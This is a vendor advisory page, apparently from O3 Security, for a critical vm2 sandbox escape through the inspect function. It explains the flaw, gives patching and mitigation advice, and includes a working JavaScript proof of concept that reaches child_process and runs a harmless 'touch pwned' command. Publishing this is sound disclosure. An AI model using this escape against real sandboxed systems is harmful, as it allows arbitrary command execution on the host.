GHSA-v37h-5mfm-c47c is a critical-severity (CVSS 9.8) remote code execution vulnerability in vm2. O3 Security confirms whether GHSA-v37h-5mfm-c47c is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
VM2 Has Sandbox Breakout Through Inspect Function
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.
vm2npmDescription
Summary
VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The node inspect method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the this.seen of the stylize function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.
PoC
const obj = {
subarray: Buffer.prototype.inspect,
slice: Buffer.prototype.slice,
hexSlice:()=>'',
l:{__proto__: null}
};
obj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) {
if (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice;
return a;
}});
obj.l.x.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vm2 | all versions | 3.11.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update vm2 to 3.11.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-v37h-5mfm-c47c is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-v37h-5mfm-c47c is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-v37h-5mfm-c47c. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-v37h-5mfm-c47c in your dependencies?
O3 detects GHSA-v37h-5mfm-c47c across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.